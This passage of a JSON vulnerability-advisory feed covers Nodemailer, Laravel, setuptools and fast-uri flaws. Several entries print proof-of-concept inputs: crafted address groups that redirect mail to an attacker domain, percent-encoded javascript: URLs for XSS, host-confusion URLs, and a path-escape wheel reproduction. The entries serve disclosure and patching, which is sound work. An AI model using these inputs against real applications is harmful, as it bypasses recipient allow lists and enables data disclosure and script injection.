GHSA-8c8m-p3m8-cjg8","url":"https://github.com/advisories/GHSA-8c8m-p3m8-cjg8","type":"primary","publishedAt":"2026-10-23T21:53:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-8c8m-p3m8-cjg8, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-m943-m63m-w62w","cveId":null,"aliases":[],"kind":"vulnerability","title":"Nodemailer: A \";\" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient","summary":"addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.\n\nThe attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.","detail":"### Vulnerability summary\n\naddressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; ) ;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: \"a;\" \" \" ;`. The boundary crossed is the application's recipient allow list.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"G: (a; ) ;\"));\n// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"G: (a; ) ;\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix tracks quoted strings and comments inside a group and reads only a `;` outside them.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.\n\nAffected package ranges reported by GitHub:\nnodemailer: >= 3.0.0, < 10.1.4","action":"GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:51:52.000Z","updatedAt":"2026-10-23T21:51:54.000Z","regions":["Global"],"vendor":null,"product":"nodemailer","stacks":["JavaScript packages (npm)","nodemailer","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-m943-m63m-w62w","asOf":"2026-10-23T21:51:54.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-m943-m63m-w62w","url":"https://github.com/advisories/GHSA-m943-m63m-w62w","type":"primary","publishedAt":"2026-10-23T21:51:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-m943-m63m-w62w, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-85x2-q946-cp5h","cveId":null,"aliases":[],"kind":"vulnerability","title":"Nodemailer: A \">\" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name","summary":"addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` \"@good.com>` is the mailbox `\"a@evil.com>\"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.\n\nThe attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.","detail":"### Vulnerability summary\n\naddressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` \"@good.com>` is the mailbox `\"a@evil.com>\"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits ` \"@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO: ` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\" \\\"@good.com>\"));\n// [ { address: '\"a@evil.com', name: '@good.com>' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as `\"a@evil.com>\"@good.com`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \" \\\"@good.com>\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.\n\nAffected package ranges reported by GitHub:\nnodemailer: >= 3.0.0, < 10.1.4","action":"GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:51:18.000Z","updatedAt":"2026-10-23T21:51:19.000Z","regions":["Global"],"vendor":null,"product":"nodemailer","stacks":["JavaScript packages (npm)","nodemailer","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-85x2-q946-cp5h","asOf":"2026-10-23T21:51:19.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-85x2-q946-cp5h","url":"https://github.com/advisories/GHSA-85x2-q946-cp5h","type":"primary","publishedAt":"2026-10-23T21:51:18.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-85x2-q946-cp5h, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114508","cveId":"CVE-2026-114508","aliases":["GHSA-5wcm-3v2w-8362"],"kind":"vulnerability","title":"Laravel relationship inclusion can trigger unauthorized data destruction","summary":"A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data.","detail":"A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data.\n\n### Impact\nA user with only read access could cause irreversible data loss (e.g., a related table being emptied), without needing any write permissions. This could result in denial of service and loss of data integrity for affected applications.\n\nAffected package ranges reported by GitHub:\nlaravel/framework: >= 12.45.0, < 12.68.0\nlaravel/framework: >= 13.0.0, < 13.27.0","action":"GitHub lists first patched versions: laravel/framework: 12.68.0; laravel/framework: 13.27.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:47:48.000Z","updatedAt":"2026-10-23T21:47:49.000Z","regions":["Global"],"vendor":null,"product":"laravel/framework, laravel/framework","stacks":["PHP packages (Composer)","laravel/framework","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-5wcm-3v2w-8362","asOf":"2026-10-23T21:47:49.000Z"},"epss":{"probability":0.00406,"percentile":0.34621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5wcm-3v2w-8362","url":"https://github.com/advisories/GHSA-5wcm-3v2w-8362","type":"primary","publishedAt":"2026-10-23T21:47:48.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5wcm-3v2w-8362, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-xmj3-9gf7-h52w","cveId":null,"aliases":[],"kind":"vulnerability","title":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","summary":"On Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.","detail":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n` .dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n destination/\n outside/\n input/\n canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.\n\nAffected package ranges reported by GitHub:\nsetuptools: >= 38.2.2, < 84.1.0","action":"GitHub lists first patched versions: setuptools: 84.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:44:11.000Z","updatedAt":"2026-10-23T21:44:13.000Z","regions":["Global"],"vendor":null,"product":"setuptools","stacks":["Python packages (PyPI)","setuptools","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-xmj3-9gf7-h52w","asOf":"2026-10-23T21:44:13.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xmj3-9gf7-h52w","url":"https://github.com/advisories/GHSA-xmj3-9gf7-h52w","type":"primary","publishedAt":"2026-10-23T21:44:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xmj3-9gf7-h52w, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110306","cveId":"CVE-2026-110306","aliases":["GHSA-w74x-v6f9-j3xg"],"kind":"vulnerability","title":"fast-uri vulnerable to URI scheme spoofing via percent-encoded scheme decoding","summary":"`fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does.\n\nFor example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`.","detail":"### Impact\n\n`fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does.\n\nFor example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`.\n\nAn application that screens dangerous schemes on the raw input and then stores or renders `normalize(input)` or `resolve(base, input)` turns an inert string into an executable `javascript:`, `data:`, or `vbscript:` URL, a stored or reflected cross-site scripting vector in the consuming application. `equal()` also treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists.\n\n### Patches\n\nUpgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.\n\n### Workarounds\n\nReject input whose scheme part (before the first `:`, and before any `/`, `?`, or `#`) contains `%`. Alternatively, check `parse(x).scheme` against an allowlist after normalization and use that same parsed result rather than the raw string.\n\nAffected package ranges reported by GitHub:\nfast-uri: < 2.4.8\nfast-uri: >= 3.0.0, < 3.1.9\nfast-uri: >= 4.0.0, < 4.2.3","action":"GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:41:36.000Z","updatedAt":"2026-10-23T21:41:38.000Z","regions":["Global"],"vendor":null,"product":"fast-uri, fast-uri, fast-uri","stacks":["JavaScript packages (npm)","fast-uri","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-w74x-v6f9-j3xg","asOf":"2026-10-23T21:41:38.000Z"},"epss":{"probability":0.0025,"percentile":0.16142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-w74x-v6f9-j3xg","url":"https://github.com/advisories/GHSA-w74x-v6f9-j3xg","type":"primary","publishedAt":"2026-10-23T21:41:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-w74x-v6f9-j3xg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110095","cveId":"CVE-2026-110095","aliases":["GHSA-xhq7-xmqj-769h"],"kind":"vulnerability","title":"fast-uri vulnerable to improper path equivalence in relative reference normalization","summary":"`fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one.\n\nFor example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same.","detail":"### Impact\n\n`fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one.\n\nFor example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same.\n\nApplications that normalize attacker-supplied or user-supplied relative references and then resolve them, or use them as cache, deduplication, or authorization keys, can have a reference escape its intended directory and point at a different resource.\n\n### Patches\n\nUpgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.\n\n### Workarounds\n\nDo not normalize a relative reference before resolving it. Resolve it against the absolute base first, then normalize the absolute result.\n\nAffected package ranges reported by GitHub:\nfast-uri: < 2.4.8\nfast-uri: >= 3.0.0, < 3.1.9\nfast-uri: >= 4.0.0, < 4.2.3","action":"GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:39:34.000Z","updatedAt":"2026-10-23T21:39:38.000Z","regions":["Global"],"vendor":null,"product":"fast-uri, fast-uri, fast-uri","stacks":["JavaScript packages (npm)","fast-uri","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-xhq7-xmqj-769h","asOf":"2026-10-23T21:39:38.000Z"},"epss":{"probability":0.00289,"percentile":0.21302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xhq7-xmqj-769h","url":"https://github.com/advisories/GHSA-xhq7-xmqj-769h","type":"primary","publishedAt":"2026-10-23T21:39:34.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xhq7-xmqj-769h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110180","cveId":"CVE-2026-110180","aliases":["GHSA-wjr9-j795-jxcr"],"kind":"vulnerability","title":"fast-uri vulnerable to host confusion via unchecked WHATWG host canonicalization","summary":"`fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed.\n\nFor example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way.","detail":"### Impact\n\n`fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed.\n\nFor example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way.\n\nApplications that use `fast-uri` to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) on one representation, such as the raw input, see a policy/use desync: the canonical host `fast-uri` returns differs from what was checked, and traffic can be steered to an unintended destination.\n\n### Patches\n\nUpgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.\n\n### Workarounds\n\nReject URIs whose authority contains more than one `@`, or contains TAB, CR, or LF, before calling `fast-uri`. Alternatively, treat any non-empty `parse(x).error` as fatal, and compare hosts only from the same `parse()` result.\n\nAffected package ranges reported by GitHub:\nfast-uri: >= 2.4.2, < 2.4.8\nfast-uri: >= 3.1.3, < 3.1.9\nfast-uri: >= 4.0.1, < 4.2.3","action":"GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:37:59.000Z","updatedAt":"2026-10-23T21:38:02.000Z","regions":["Global"],"vendor":null,"product":"fast-uri, fast-uri, fast-uri","stacks":["JavaScript packages (npm)","fast-uri","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-wjr9-j795-jxcr","asOf":"2026-10-23T21:38:02.000Z"},"epss":{"probability":0.00255,"percentile":0.16905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-wjr9-j795-jxcr","url":"https://github.com/advisories/GHSA-wjr9-j795-jxcr","type":"primary","publishedAt":"2026-10-23T21:37:59.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-wjr9-j795-jxcr, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110725","cveId":"CVE-2026-110725","aliases":["GHSA-333x-w4r6-6crp"],"kind":"vulnerability","title":"fast-uri vulnerable to scheme injection via an unescaped first-segment colon in suffix references","summary":"`fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not.\n\nFor example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same.","detail":"### Impact\n\n`fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not.\n\nFor example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same.\n\nApplications that serialize or normalize a 